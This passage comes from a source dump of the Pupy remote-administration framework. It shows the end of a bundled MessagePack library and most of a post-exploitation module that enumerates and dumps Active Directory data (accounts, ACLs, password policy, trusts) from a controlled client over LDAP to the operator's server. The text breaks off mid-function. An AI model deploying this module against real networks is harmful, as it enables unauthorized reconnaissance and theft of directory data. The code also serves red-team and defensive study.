            Duplicate key encountered during map unpacking.

    Example:
    >>> f = open('test.bin', 'rb')
    >>> umsgpack.unpackb(f)
    {u'compact': True, u'schema': 0}
    >>>
    """
    return _unpack(fp, options)


def _unpack3(fp, **options):
    """
    Deserialize MessagePack bytes into a Python object.

    Args:
        fp: a .read()-supporting file-like object

    Kwargs:
        ext_handlers (dict): dictionary of Ext handlers, mapping integer Ext
                             type to a callable that unpacks an instance of
                             Ext into an object
        use_ordered_dict (bool): unpack maps into OrderedDict, instead of
                                 unordered dict (default False)
        use_tuple (bool): unpacks arrays into tuples, instead of lists (default
                          False)
        allow_invalid_utf8 (bool): unpack invalid strings into instances of
                                   InvalidString, for access to the bytes
                                   (default False)

    Returns:
        A Python object.

    Raises:
        InsufficientDataException(UnpackException):
            Insufficient data to unpack the serialized object.
        InvalidStringException(UnpackException):
            Invalid UTF-8 string encountered during unpacking.
        UnsupportedTimestampException(UnpackException):
            Unsupported timestamp format encountered during unpacking.
        ReservedCodeException(UnpackException):
            Reserved code encountered during unpacking.
        UnhashableKeyException(UnpackException):
            Unhashable key encountered during map unpacking.
            The serialized map cannot be deserialized into a Python dictionary.
        DuplicateKeyException(UnpackException):
            Duplicate key encountered during map unpacking.

    Example:
    >>> f = open('test.bin', 'rb')
    >>> umsgpack.unpackb(f)
    {'compact': True, 'schema': 0}
    >>>
    """
    return _unpack(fp, options)


# For Python 2, expects a str object
def _unpackb2(s, **options):
    """
    Deserialize MessagePack bytes into a Python object.

    Args:
        s: a 'str' or 'bytearray' containing serialized MessagePack bytes

    Kwargs:
        ext_handlers (dict): dictionary of Ext handlers, mapping integer Ext
                             type to a callable that unpacks an instance of
                             Ext into an object
        use_ordered_dict (bool): unpack maps into OrderedDict, instead of
                                 unordered dict (default False)
        use_tuple (bool): unpacks arrays into tuples, instead of lists (default
                          False)
        allow_invalid_utf8 (bool): unpack invalid strings into instances of
                                   InvalidString, for access to the bytes
                                   (default False)

    Returns:
        A Python object.

    Raises:
        TypeError:
            Packed data type is neither 'str' nor 'bytearray'.
        InsufficientDataException(UnpackException):
            Insufficient data to unpack the serialized object.
        InvalidStringException(UnpackException):
            Invalid UTF-8 string encountered during unpacking.
        UnsupportedTimestampException(UnpackException):
            Unsupported timestamp format encountered during unpacking.
        ReservedCodeException(UnpackException):
            Reserved code encountered during unpacking.
        UnhashableKeyException(UnpackException):
            Unhashable key encountered during map unpacking.
            The serialized map cannot be deserialized into a Python dictionary.
        DuplicateKeyException(UnpackException):
            Duplicate key encountered during map unpacking.

    Example:
    >>> umsgpack.unpackb(b'\x82\xa7compact\xc3\xa6schema\x00')
    {u'compact': True, u'schema': 0}
    >>>
    """
    if not isinstance(s, (str, bytearray)):
        raise TypeError("packed data must be type 'str' or 'bytearray'")
    return _unpack(io.BytesIO(s), options)


# For Python 3, expects a bytes object
def _unpackb3(s, **options):
    """
    Deserialize MessagePack bytes into a Python object.

    Args:
        s: a 'bytes' or 'bytearray' containing serialized MessagePack bytes

    Kwargs:
        ext_handlers (dict): dictionary of Ext handlers, mapping integer Ext
                             type to a callable that unpacks an instance of
                             Ext into an object
        use_ordered_dict (bool): unpack maps into OrderedDict, instead of
                                 unordered dict (default False)
        use_tuple (bool): unpacks arrays into tuples, instead of lists (default
                          False)
        allow_invalid_utf8 (bool): unpack invalid strings into instances of
                                   InvalidString, for access to the bytes
                                   (default False)

    Returns:
        A Python object.

    Raises:
        TypeError:
            Packed data type is neither 'bytes' nor 'bytearray'.
        InsufficientDataException(UnpackException):
            Insufficient data to unpack the serialized object.
        InvalidStringException(UnpackException):
            Invalid UTF-8 string encountered during unpacking.
        UnsupportedTimestampException(UnpackException):
            Unsupported timestamp format encountered during unpacking.
        ReservedCodeException(UnpackException):
            Reserved code encountered during unpacking.
        UnhashableKeyException(UnpackException):
            Unhashable key encountered during map unpacking.
            The serialized map cannot be deserialized into a Python dictionary.
        DuplicateKeyException(UnpackException):
            Duplicate key encountered during map unpacking.

    Example:
    >>> umsgpack.unpackb(b'\x82\xa7compact\xc3\xa6schema\x00')
    {'compact': True, 'schema': 0}
    >>>
    """
    if not isinstance(s, (bytes, bytearray)):
        raise TypeError("packed data must be type 'bytes' or 'bytearray'")
    return _unpack(io.BytesIO(s), options)

#############################################################################
# Module Initialization
#############################################################################


def __init():
    global pack
    global packb
    global unpack
    global unpackb
    global dump
    global dumps
    global load
    global loads
    global compatibility
    global _epoch
    global _utc_tzinfo
    global _float_precision
    global _unpack_dispatch_table
    global xrange

    # Compatibility mode for handling strings/bytes with the old specification
    compatibility = False

    if sys.version_info[0] == 3:
        _utc_tzinfo = datetime.timezone.utc
    else:
        class UTC(datetime.tzinfo):
            ZERO = datetime.timedelta(0)

            def utcoffset(self, dt):
                return UTC.ZERO

            def tzname(self, dt):
                return "UTC"

            def dst(self, dt):
                return UTC.ZERO

        _utc_tzinfo = UTC()

    # Calculate an aware epoch datetime
    _epoch = datetime.datetime(1970, 1, 1, tzinfo=_utc_tzinfo)

    # Auto-detect system float precision
    if sys.float_info.mant_dig == 53:
        _float_precision = "double"
    else:
        _float_precision = "single"

    # Map packb and unpackb to the appropriate version
    if sys.version_info[0] == 3:
        pack = _pack3
        packb = _packb3
        dump = _pack3
        dumps = _packb3
        unpack = _unpack3
        unpackb = _unpackb3
        load = _unpack3
        loads = _unpackb3
        xrange = range
    else:
        pack = _pack2
        packb = _packb2
        dump = _pack2
        dumps = _packb2
        unpack = _unpack2
        unpackb = _unpackb2
        load = _unpack2
        loads = _unpackb2

    # Build a dispatch table for fast lookup of unpacking function

    _unpack_dispatch_table = {}
    # Fix uint
    for code in range(0, 0x7f + 1):
        _unpack_dispatch_table[struct.pack("B", code)] = _unpack_integer
    # Fix map
    for code in range(0x80, 0x8f + 1):
        _unpack_dispatch_table[struct.pack("B", code)] = _unpack_map
    # Fix array
    for code in range(0x90, 0x9f + 1):
        _unpack_dispatch_table[struct.pack("B", code)] = _unpack_array
    # Fix str
    for code in range(0xa0, 0xbf + 1):
        _unpack_dispatch_table[struct.pack("B", code)] = _unpack_string
    # Nil
    _unpack_dispatch_table[b'\xc0'] = _unpack_nil
    # Reserved
    _unpack_dispatch_table[b'\xc1'] = _unpack_reserved
    # Boolean
    _unpack_dispatch_table[b'\xc2'] = _unpack_boolean
    _unpack_dispatch_table[b'\xc3'] = _unpack_boolean
    # Bin
    for code in range(0xc4, 0xc6 + 1):
        _unpack_dispatch_table[struct.pack("B", code)] = _unpack_binary
    # Ext
    for code in range(0xc7, 0xc9 + 1):
        _unpack_dispatch_table[struct.pack("B", code)] = _unpack_ext
    # Float
    _unpack_dispatch_table[b'\xca'] = _unpack_float
    _unpack_dispatch_table[b'\xcb'] = _unpack_float
    # Uint
    for code in range(0xcc, 0xcf + 1):
        _unpack_dispatch_table[struct.pack("B", code)] = _unpack_integer
    # Int
    for code in range(0xd0, 0xd3 + 1):
        _unpack_dispatch_table[struct.pack("B", code)] = _unpack_integer
    # Fixext
    for code in range(0xd4, 0xd8 + 1):
        _unpack_dispatch_table[struct.pack("B", code)] = _unpack_ext
    # String
    for code in range(0xd9, 0xdb + 1):
        _unpack_dispatch_table[struct.pack("B", code)] = _unpack_string
    # Array
    _unpack_dispatch_table[b'\xdc'] = _unpack_array
    _unpack_dispatch_table[b'\xdd'] = _unpack_array
    # Map
    _unpack_dispatch_table[b'\xde'] = _unpack_map
    _unpack_dispatch_table[b'\xdf'] = _unpack_map
    # Negative fixint
    for code in range(0xe0, 0xff + 1):
        _unpack_dispatch_table[struct.pack("B", code)] = _unpack_integer


__init()


================================================
FILE: pupy/library_patches_py3/xattr/lib_build.py
================================================
# don't do anything


================================================
FILE: pupy/modules/__init__.py
================================================


================================================
FILE: pupy/modules/ad.py
================================================
# -*- coding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

import sys

from ldap3.protocol.formatters.formatters import format_sid
from impacket.ldap.ldaptypes import SR_SECURITY_DESCRIPTOR

from pupy.pupylib.PupyConfig import PupyConfig
from pupy.pupylib.PupyModule import config, PupyModule, PupyArgumentParser
from pupy.pupylib.PupyOutput import Pygment, List, Table, MultiPart

from pygments import lexers

from os.path import basename
from json import dumps
from io import open

from threading import Event
from datetime import datetime
from uuid import UUID

from collections import OrderedDict

if sys.version_info.major > 2:
    basestring = str

__class_name__ = 'AD'

IMM = 0
LIST = 1
MAP = 2
DATE = 3

# search attributes
ALL_ATTRIBUTES = '*'
NO_ATTRIBUTES = '1.1'  # as per RFC 4511
ALL_OPERATIONAL_ATTRIBUTES = '+'  # as per RFC 3673

# search scope
BASE = 'BASE'
LEVEL = 'LEVEL'
SUBTREE = 'SUBTREE'

# User account control flags
# From: https://blogs.technet.microsoft.com/askpfeplat/2014/01/15/understanding-the-useraccountcontrol-attribute-in-active-directory/
uac_flags = {
    'ACCOUNT_DISABLED':0x00000002,
    'ACCOUNT_LOCKED':0x00000010,
    'PASSWD_NOTREQD':0x00000020,
    'PASSWD_CANT_CHANGE': 0x00000040,
    'NORMAL_ACCOUNT': 0x00000200,
    'WORKSTATION_ACCOUNT':0x00001000,
    'SERVER_TRUST_ACCOUNT': 0x00002000,
    'DONT_EXPIRE_PASSWD': 0x00010000,
    'SMARTCARD_REQUIRED': 0x00040000,
    'TRUSTED_FOR_DELEGATION': 0x00080000,
    'NOT_DELEGATED': 0x00100000,
    'USE_DES_KEY_ONLY': 0x00200000,
    'DONT_REQ_PREAUTH': 0x00400000,
    'PASSWORD_EXPIRED': 0x00800000,
    'TRUSTED_TO_AUTH_FOR_DELEGATION': 0x01000000,
    'PARTIAL_SECRETS_ACCOUNT': 0x04000000
}

# https://docs.microsoft.com/en-us/windows/win32/adschema/a-samaccounttype
sam_flags = {
    'SAM_DOMAIN_OBJECT': 0x0,
    'SAM_GROUP_OBJECT': 0x10000000,
    'SAM_NON_SECURITY_GROUP_OBJECT': 0x10000001,
    'SAM_ALIAS_OBJECT': 0x20000000,
    'SAM_NON_SECURITY_ALIAS_OBJECT': 0x20000001,
    'SAM_NORMAL_USER_ACCOUNT': 0x30000000,
    'SAM_MACHINE_ACCOUNT': 0x30000001,
    'SAM_TRUST_ACCOUNT': 0x30000002,
    'SAM_APP_BASIC_GROUP': 0x40000000,
    'SAM_APP_QUERY_GROUP': 0x40000001,
    'SAM_ACCOUNT_TYPE_MAX': 0x7fffffff
}

# Password policy flags
pwd_flags = {
    'PASSWORD_COMPLEX':0x01,
    'PASSWORD_NO_ANON_CHANGE': 0x02,
    'PASSWORD_NO_CLEAR_CHANGE': 0x04,
    'LOCKOUT_ADMINS': 0x08,
    'PASSWORD_STORE_CLEARTEXT': 0x10,
    'REFUSE_PASSWORD_CHANGE': 0x20
}

# Domain trust flags
# From: https://msdn.microsoft.com/en-us/library/cc223779.aspx
trust_flags = {
    'NON_TRANSITIVE':0x00000001,
    'UPLEVEL_ONLY':0x00000002,
    'QUARANTINED_DOMAIN':0x00000004,
    'FOREST_TRANSITIVE':0x00000008,
    'CROSS_ORGANIZATION':0x00000010,
    'WITHIN_FOREST':0x00000020,
    'TREAT_AS_EXTERNAL':0x00000040,
    'USES_RC4_ENCRYPTION':0x00000080,
    'CROSS_ORGANIZATION_NO_TGT_DELEGATION':0x00000200,
    'PIM_TRUST':0x00000400
}

# Domain trust direction
# From: https://msdn.microsoft.com/en-us/library/cc223768.aspx
trust_directions = {
    'INBOUND':0x01,
    'OUTBOUND':0x02,
    'BIDIRECTIONAL':0x03
}

# Domain trust types
trust_type = {
    'DOWNLEVEL':0x01,
    'UPLEVEL':0x02,
    'MIT':0x03
}

# Common attribute pretty translations
attr_translations = {
    'sAMAccountName':'SAM Name',
    'cn':'CN',
    'operatingSystem':'Operating System',
    'operatingSystemServicePack':'Service Pack',
    'operatingSystemVersion':'OS Version',
    'userAccountControl':'Flags',
    'objectSid':'SID',
    'memberOf':'Member of groups',
    'primaryGroupId':'Primary group',
    'dNSHostName':'DNS Hostname',
    'whenCreated':'Created on',
    'whenChanged':'Changed on',
    'IPv4':'IPv4 Address',
    'lockOutObservationWindow':'Lockout time window',
    'lockoutDuration':'Lockout Duration',
    'lockoutThreshold':'Lockout Threshold',
    'maxPwdAge':'Max password age',
    'minPwdAge':'Min password age',
    'minPwdLength':'Min password length',
    'pwdHistoryLength':'Password history length',
    'pwdProperties':'Password properties',
    'ms-DS-MachineAccountQuota':'Machine Account Quota',
    'flatName':'NETBIOS Domain name'
}

sid_translations = {
    'S-1-0': ('Null Authority', 'USER'),
    'S-1-0-0': ('Nobody', 'USER'),
    'S-1-1': ('World Authority', 'USER'),
    'S-1-1-0': ('Everyone', 'GROUP'),
    'S-1-2': ('Local Authority', 'USER'),
    'S-1-2-0': ('Local', 'GROUP'),
    'S-1-2-1': ('Console Logon', 'GROUP'),
    'S-1-3': ('Creator Authority', 'USER'),
    'S-1-3-0': ('Creator Owner', 'USER'),
    'S-1-3-1': ('Creator Group', 'GROUP'),
    'S-1-3-2': ('Creator Owner Server', 'COMPUTER'),
    'S-1-3-3': ('Creator Group Server', 'COMPUTER'),
    'S-1-3-4': ('Owner Rights', 'GROUP'),
    'S-1-4': ('Non-unique Authority', 'USER'),
    'S-1-5': ('NT Authority', 'USER'),
    'S-1-5-1': ('Dialup', 'GROUP'),
    'S-1-5-2': ('Network', 'GROUP'),
    'S-1-5-3': ('Batch', 'GROUP'),
    'S-1-5-4': ('Interactive', 'GROUP'),
    'S-1-5-6': ('Service', 'GROUP'),
    'S-1-5-7': ('Anonymous', 'GROUP'),
    'S-1-5-8': ('Proxy', 'GROUP'),
    'S-1-5-9': ('Enterprise Domain Controllers', 'GROUP'),
    'S-1-5-10': ('Principal Self', 'USER'),
    'S-1-5-11': ('Authenticated Users', 'GROUP'),
    'S-1-5-12': ('Restricted Code', 'GROUP'),
    'S-1-5-13': ('Terminal Server Users', 'GROUP'),
    'S-1-5-14': ('Remote Interactive Logon', 'GROUP'),
    'S-1-5-15': ('This Organization ', 'GROUP'),
    'S-1-5-17': ('This Organization ', 'GROUP'),
    'S-1-5-18': ('Local System', 'USER'),
    'S-1-5-19': ('NT Authority', 'USER'),
    'S-1-5-20': ('NT Authority', 'USER'),
    'S-1-5-80-0': ('All Services ', 'GROUP'),
    'S-1-5-32-544': ('Administrators', 'GROUP'),
    'S-1-5-32-545': ('Users', 'GROUP'),
    'S-1-5-32-546': ('Guests', 'GROUP'),
    'S-1-5-32-547': ('Power Users', 'GROUP'),
    'S-1-5-32-548': ('Account Operators', 'GROUP'),
    'S-1-5-32-549': ('Server Operators', 'GROUP'),
    'S-1-5-32-550': ('Print Operators', 'GROUP'),
    'S-1-5-32-551': ('Backup Operators', 'GROUP'),
    'S-1-5-32-552': ('Replicators', 'GROUP'),
    'S-1-5-32-554': ('Pre-Windows 2000 Compatible Access', 'GROUP'),
    'S-1-5-32-555': ('Remote Desktop Users', 'GROUP'),
    'S-1-5-32-556': ('Network Configuration Operators', 'GROUP'),
    'S-1-5-32-557': ('Incoming Forest Trust Builders', 'GROUP'),
    'S-1-5-32-558': ('Performance Monitor Users', 'GROUP'),
    'S-1-5-32-559': ('Performance Log Users', 'GROUP'),
    'S-1-5-32-560': ('Windows Authorization Access Group', 'GROUP'),
    'S-1-5-32-561': ('Terminal Server License Servers', 'GROUP'),
    'S-1-5-32-562': ('Distributed COM Users', 'GROUP'),
    'S-1-5-32-568': ('IIS_IUSRS', 'GROUP'),
    'S-1-5-32-569': ('Cryptographic Operators', 'GROUP'),
    'S-1-5-32-573': ('Event Log Readers', 'GROUP'),
    'S-1-5-32-574': ('Certificate Service DCOM Access', 'GROUP'),
    'S-1-5-32-575': ('RDS Remote Access Servers', 'GROUP'),
    'S-1-5-32-576': ('RDS Endpoint Servers', 'GROUP'),
    'S-1-5-32-577': ('RDS Management Servers', 'GROUP'),
    'S-1-5-32-578': ('Hyper-V Administrators', 'GROUP'),
    'S-1-5-32-579': ('Access Control Assistance Operators', 'GROUP'),
    'S-1-5-32-580': ('Access Control Assistance Operators', 'GROUP')
}

access_mask_flags = OrderedDict([
    ('GenericAll', 0x000F01FF),
    ('GenericWrite', 0x00020028),
    ('GenericRead', 0x00020094),
    ('GENERIC_EXECUTE', 0x00020004),
    ('ACCESS_SYSTEM_SECURITY', 0x01000000),
    ('SYNCHRONIZE', 0x00100000),
    ('WriteOwner', 0x00080000),
    ('WriteDacl', 0x00040000),
    ('READ_CONTROL', 0x00020000),
    ('DELETE', 0x00010000),
    ('ADS_RIGHT_DS_CONTROL_ACCESS', 0x00000100),
    ('ADS_RIGHT_DS_CREATE_CHILD', 0x00000001),
    ('ADS_RIGHT_DS_DELETE_CHILD', 0x00000002),
    ('ADS_RIGHT_DS_READ_PROP', 0x00000010),
    ('ADS_RIGHT_DS_WRITE_PROP', 0x00000020),
    ('ADS_RIGHT_DS_SELF', 0x00000008),
])


def _sid(sid):
    value, _ = sid_translations.get(sid, (None, None))
    if value:
        return value

    return sid


def json_default(o):
    if isinstance(o, datetime):
        return o.isoformat()


#Convert password max age (in 100 nanoseconds), to days
def nsToDays(length):
    return abs(length) * .0000001 // 86400


def nsToMinutes(length):
    return abs(length) * .0000001 // 60


def toDateTime(filetime):
    if isinstance(filetime, datetime):
        return filetime

    if not filetime:
        return datetime.utcfromtimestamp(0)

    return datetime.utcfromtimestamp(float(
        (filetime // 10000000) - 11644473600))


#Parse bitwise flags into a list
def parseFlags(attr, flags_def, bits=True):
    if not attr:
        return tuple()

    if not isinstance(attr, int):
        attr = int(attr)

    return tuple(
        flag for flag, val in flags_def.items()
        if (bits and (attr & val == val)) or (
            not bits and attr == val
        )
    )


def LDAPAclMaskToSet(mask):
    result = []
    rest = mask['Mask']

    for flag, value in access_mask_flags.items():
        if (rest & value) == value:
            result.append(flag)
            rest &= ~value
            if not rest:
                break

    if not result and rest:
        result.append(rest)

    return result


def LDAPAclToDict(acl):
    if not acl:
        return None

    result = []
    for ace in acl.aces:
        sid = ace['Ace']['Sid'].formatCanonical()
        result.append({
            'Type': ace['TypeName'][:-4],
            'Sid': _sid(sid),
            'Mask': LDAPAclMaskToSet(ace['Ace']['Mask'])
        })

    return result


def LDAPAclOwnerToDict(owner):
    if not owner:
        return None

    sid = owner.formatCanonical()
    return _sid(sid)


def LDAPSdToDict(descriptor):
    if not descriptor:
        return None

    return {
        'Owner': LDAPAclOwnerToDict(descriptor['OwnerSid']),
        'Group': LDAPAclOwnerToDict(descriptor['GroupSid']),
        'SACL': LDAPAclToDict(descriptor['Sacl']),
        'DACL': LDAPAclToDict(descriptor['Dacl'])
    }


def formatAttribute(key, att, formatCnAsGroup=False):
    aname = key.lower()

    if isinstance(att, tuple) and \
            len(att) == 1 and not isinstance(att[0], dict):
        att = att[0]
        if isinstance(att, basestring):
            att = att.strip()
            try:
                att = int(att)
            except ValueError:
                try:
                    att = float(att)
                except ValueError:
                    pass

    if aname == 'useraccountcontrol':
        return parseFlags(att, uac_flags)

    #Pwd flags
    elif aname == 'pwdproperties':
        return parseFlags(att, pwd_flags)

    #Sam flags
    elif aname == 'samaccounttype':
        return parseFlags(att, sam_flags, False)

    #Domain trust flags
    elif aname == 'trustattributes':
        return parseFlags(att, trust_flags)

    elif aname == 'trustdirection':
        if  att == 0:
            return 'DISABLED'
        else:
            return parseFlags(att, trust_directions, False)

    elif aname == 'trusttype':
        return parseFlags(att, trust_type)

    elif aname in (
            'securityidentifier', 'objectsid') and att.startswith('hex:'):
        sid = format_sid(att[4:].decode('hex'))
        return _sid(sid)

    elif aname == 'minpwdage' or aname == 'maxpwdage':
        return '%.2f days' % nsToDays(att)

    elif aname == 'lockoutobservationwindow' or aname == 'lockoutduration':
        return '%.1f minutes' % nsToMinutes(att)

    elif aname == 'objectguid' and att.startswith('hex:'):
        return '{' + str(UUID(att[4:])) + '}'

    elif aname in (
        'pwdlastchange', 'badpasswordtime', 'lastlogon',
            'lastlogontimestamp', 'lockouttime'):
        return toDateTime(att)

    elif aname in ('ntsecuritydescriptor',):
        if att.startswith('hex:'):
            att = att[4:].decode('hex')
        srsd = SR_SECURITY_DESCRIPTOR()
        srsd.fromString(att)
        return LDAPSdToDict(srsd)

    return att


def from_tuple_deep(obj, format=True):
    kind, data = obj
    if kind == IMM:
        if isinstance(data, str):
            try:
                return data.decode('utf-8')
            except UnicodeDecodeError:
                return 'hex:' + data.encode('hex')

        return data

    elif kind == LIST:
        return tuple(
            from_tuple_deep(item) for item in data
        )

    elif kind == MAP and format:
        return {
            k: formatAttribute(k, from_tuple_deep(v)) for (k, v) in data
        }

    elif kind == MAP and not format:
        return {
            k: from_tuple_deep(v) for (k, v) in data
        }

    elif kind == DATE:
        return datetime.utcfromtimestamp(data)

    else:
        raise ValueError('Invalid kind ({})'.format(kind))


def _get_field(result, field):
    if field in result:
        return result[field]

    l_field = field.lower()
    for r_field in result:
        if r_field.lower() == l_field:
            return result[r_field]

    raise AttributeError(field)


@config(cat='admin')
class AD(PupyModule):
    ''' Dump information from Active Directory '''

    dependencies = {
        'all': ['gssapi', 'ldap3'],
        'posix': ['kerberos'],
        'windows': ['winkerberos']
    }

    terminate = None

    @classmethod
    def init_argparse(cls):
        cls.arg_parser = PupyArgumentParser(
            prog='ad', description=cls.__doc__)
        cls.arg_parser.add_argument(
            '-G', '--global-catalog', default=False, action='store_true',
            help='Use AD Global catalg'
        )

        cls.arg_parser.add_argument(
            '-r', '--realm', help='Realm to work with'
        )

        commands = cls.arg_parser.add_subparsers(title='commands')

        bind = commands.add_parser('bind', help='Bind to server')
        bind.add_argument('-l', '--ldap-server', help='DNS address of LDAP server')
        bind.add_argument('-T', '--recv-timeout', default=60, help='Socket read timeout')
        bind.add_argument('-u', '--username', help='Username to authenticate')
        bind.add_argument('-p', '--password', help='Password to authenticate')
        bind.add_argument('-d', '--domain', help='Domain for Username')
        bind.add_argument('-r', '--root', help='LDAP root')
        bind.set_defaults(func=cls.bind)

        unbind = commands.add_parser('unbind', help='Disconnect and forget realm')
        unbind.set_defaults(func=cls.unbind)

        bounded = commands.add_parser('list', help='Show bounded realms')
        bounded.set_defaults(func=cls.bounded)

        info = commands.add_parser('info', help='Info about current AD context')
        info.set_defaults(func=cls.getinfo)

        dump = commands.add_parser('dump', help='Dump results of large searches')
        dump.add_argument('-f', '--filter', help='LDAP custom filter')
        dump.add_argument(
            '-F', '--full', default=False,
            action='store_true', help='Dump all attributes')
        dump.add_argument(
            'target', nargs='?',
            help='Categories to dump, i.e.: users,computers OR '
            'filter like (&(attr=XYZ)(attr2=CCC))'
        )
        dump.set_defaults(func=cls.dump)

        childs = commands.add_parser('childs', help='Related AD servers')
        childs.set_defaults(func=cls.childs)

        search = commands.add_parser(
            'search',
            help='Search in AD (only small and fast, for large use dump)'
        )
        search.add_argument(
            '-T', '--table', action='store_true', default=False,
            help='Output as table'
        )
        search.add_argument(
            'term', help='Search filter',
            default='(objectClass=domain)',
        )
        search.add_argument(
            'attributes', nargs='?',
            help='Attributes to search (Use * for ALL, default none)'
        )

        level = search.add_mutually_exclusive_group()
        level.add_argument(
            '-1', '--base', default=False, action='store_true',
            help='Use base search instead of subtree search. Default: False'
        )
        level.add_argument(
            '-L', '--level', default=False, action='store_true',
            help='Use level search instead of subtree search. Default: False'
        )

        search.add_argument(
            '-r', '--root', help='Use root instead of autodiscovered one'
        )
        search.add_argument(
            '-n', '--amount', default=5, type=int,
            help='Amount of records. Default: 5'
        )
        search.add_argument(
            '-t', '--timeout', default=5, type=int,
            help='Timeout (seconds). Default: 5'
        )
        search.set_defaults(func=cls.search)

    def _show_exception(self, e):
        if hasattr(e, 'message') and hasattr(e, 'type'):
            report = []
            if hasattr(e, 'childs') and e.childs and not isinstance(e.childs, str):
                for (authentication, ldap_server,
                        domain, user, _, emessage) in e.childs:
                    report.append({
                        'Method': authentication,
                        'Server': ldap_server,
                        'Domain': domain,
                        'User': user,
                        'Message': emessage
                    })

                self.error(
                    Table(report, [
                        'Method', 'Server', 'Domain', 'User', 'Message'
                    ], caption=str(e))
                )
            else:
                self.error('AD Error ({}): {}'.format(
                    e.type, str(e)))
        else:
            self.error(e)

    def run(self, args):
        try:
            if args.realm == '.':
                args.realm = None

            args.func(self, args)
        except Exception as e:
            self._show_exception(e)

    def _output_search_results(self, results, fields, table=False, realm=None):
        if not results:
            return

        is_list = False
        is_table = False

        if len(fields) == 1:
            _results = [
                _get_field(line, fields[0]) for line in results
            ]

            is_list = all(
                not isinstance(record, (dict, tuple, list))
                for record in _results
            )

            if is_list:
                results = _results

        elif table and fields:
            results = [
                {
                    field: _get_field(result, field)
                    for field in fields
                } for result in results
            ]

            is_table = all(
                all(
                    not isinstance(value, (dict, tuple, list))
                    for value in record.values()
                ) for record in results
            )

        if is_list:
            self.log(
                List(results, caption=realm)
            )
        elif is_table:
            self.log(
                Table(results, fields or None, caption=realm)
            )
        else:
            filtered = results
            if fields:
                filtered = [
                    {
                        field: _get_field(result, field) for field in fields
                    } for result in results
                ]

            formatted_json = dumps(
                filtered,
                indent=2, sort_keys=True,
                default=json_default,
                ensure_ascii=False
            )

            if realm:
                self.log('+ ' + realm)

            self.log(
                Pygment(lexers.JsonLexer(), formatted_json)
            )

    def search(self, args):
        search = self.client.remote('ad', 'search')

        level = SUBTREE
        if args.base:
            level = BASE
        elif args.level:
            level = LEVEL

        need_attrs = []

        term = args.term
        attributes = args.attributes

        if term:
            term = term.strip()

        if attributes:
            attributes = attributes.strip()

        if not attributes:
            if term and not term.startswith('('):
                attributes = term
                term = '(objectClass=*)'
            else:
                attributes = NO_ATTRIBUTES

        fields = []

        if attributes in (ALL_ATTRIBUTES, ALL_OPERATIONAL_ATTRIBUTES):
            pass
        elif attributes == NO_ATTRIBUTES:
            fields.append('dn')
        else:
            attributes = [
                attribute.strip() for attribute in attributes.split(',')
            ]

            for attribute in attributes:
                fields.append(attribute)

                if attribute.lower() == 'dn':
                    continue

                need_attrs.append(attribute)

            attributes = tuple(need_attrs)

        ok, result = search(
            args.realm, args.global_catalog,
            term, attributes,
            level, args.root,
            args.amount, args.timeout,
            False
        )

        if not ok:
            self.error(result)
            return

        results = from_tuple_deep(result, True)

        if isinstance(results, dict):
            for realm, results in results.items():
                self._output_search_results(results, fields, args.table, realm)
        else:
            self._output_search_results(results, fields, args.table)

    def unbind(self, args):
        unbind = self.client.remote('ad', 'unbind')
        unbind(args.realm, args.global_catalog)

    def childs(self, args):
        childs = self.client.remote('ad', 'childs')
        ok, result = childs(args.realm, args.global_catalog)

        if not ok:
            self.error(result)
            return

        i_am, rootdn, childs = result

        self.log(List(childs, caption='Root: {} Whoami: {}'.format(rootdn, i_am)))

    def bounded(self, args):
        bounded = self.client.remote('ad', 'bounded')
        self.log(Table([
            {
                'TYPE': btype,
                'REALM': realm
            } for (btype, realm) in bounded()
        ], ['TYPE', 'REALM']))

    def getinfo(self, args):
        info = self.client.remote('ad', 'info')
        desc = from_tuple_deep(info(
            args.realm, args.global_catalog), False)
        idesc = desc.get('info', {})

        infos = []

        versions = idesc.get(
            'supported_ldap_versions', []
        )

        if not hasattr(versions, '__iter__') and not isinstance(versions, str):
            versions = [versions]

        infos.append(
            List([
                'Bind: ' + desc.get('bind', ''),
                'Root: ' + desc.get('root', ''),
                'LDAP: ' + desc.get('ldap', ''),
                'DNS: ' + desc['dns'][4][0] if desc.get('dns', None) else '',
                'Schema: ' + idesc.get('schema_entry', ''),
                'Versions: ' + ', '.join(str(version) for version in versions),
                'SASL Mechs: ' + ', '.join(
                    mech for mech in idesc.get(
                        'supported_sasl_mechanisms', []
                    )
                )
            ], caption='Connection')
        )

        if desc['ldap_servers']:
            infos.append(
                Table(
                    desc['ldap_servers'],
                    ['address', 'port', 'priority'],
                    caption='LDAP Servers'
                )
            )

        if desc['dns_servers']:
            infos.append(
                Table([
                    {
                        'IP': dns[0][4][0] + (
                            '/tcp' if dns[0][2] == 2 else '/udp'
                        ),
                        'Delay': '{:.02f}ms'.format(dns[1] * 1000),
                    } for dns in desc['dns_servers']
                ], ['IP', 'Delay'], caption='DNS Servers')
            )

        if not idesc:
            self.log(MultiPart(infos))
            return

        if idesc['alt_servers']:
            infos.append(
                List(idesc['alt_servers'], caption='Alternate servers')
            )

        if idesc['naming_contexts'] and not isinstance(
                idesc['naming_contexts'], basestring):
            infos.append(
                List(
                    idesc['naming_contexts'],
                    caption='Naming contexts'
                )
            )

        supported = []
        for table in ('supported_controls',
                'supported_extensions', 'supported_features'):
            for oid, klass, name, vendor in idesc[table]:
                supported.append({
                    'OID': oid,
                    'Type': klass,
                    'Name': name,
                    'Vendor': vendor
                })

        if supported:
            infos.append(
                Table(
                    supported, [
                        'OID', 'Type', 'Name', 'Vendor'
                    ],
                    caption='Supported features and extensions'
                )
            )

        if 'other' in idesc:
            infos.append(
                List(tuple(
                    '{}: {}'.format(key, value)
                    for key, value in idesc['other'].items()
                    if key not in ('supportedLDAPPolicies',)
                ),
                caption='Other info')
            )

        self.log(MultiPart(infos))

    def dump(self, args):
        addump = self.client.remote('ad', 'dump', False)
        config = self.client.pupsrv.config or PupyConfig()

        context = {
            'last_name': None,
            'last_fobj': None,
        }

        completion = Event()

        def on_data(name, payload):
            if name == 'dns':
                self.success('DNS server selected: {}'.format(payload))
            elif name == 'ldap':
                self.success('LDAP server selected: {}'.format(payload))
            elif name == 'error':
                self.error('Error: {}'.format(payload))
            else:
                is_first = False

                if context['last_name'] != name:
                    is_first = True

                    if context['last_name']:
                        self.success('Completed {}'.format(context['last_name']))

                    dest = config.get_file(
                        'ad', {
                            r'%c': self.client.short_name(),
                            r'%n': basename(name),
                            r'%r': args.realm
                        }
                    )

                    self.success('Dumping {} -> {}'.format(name, dest))
                    context['last_name'] = name
                    if context['last_fobj']:
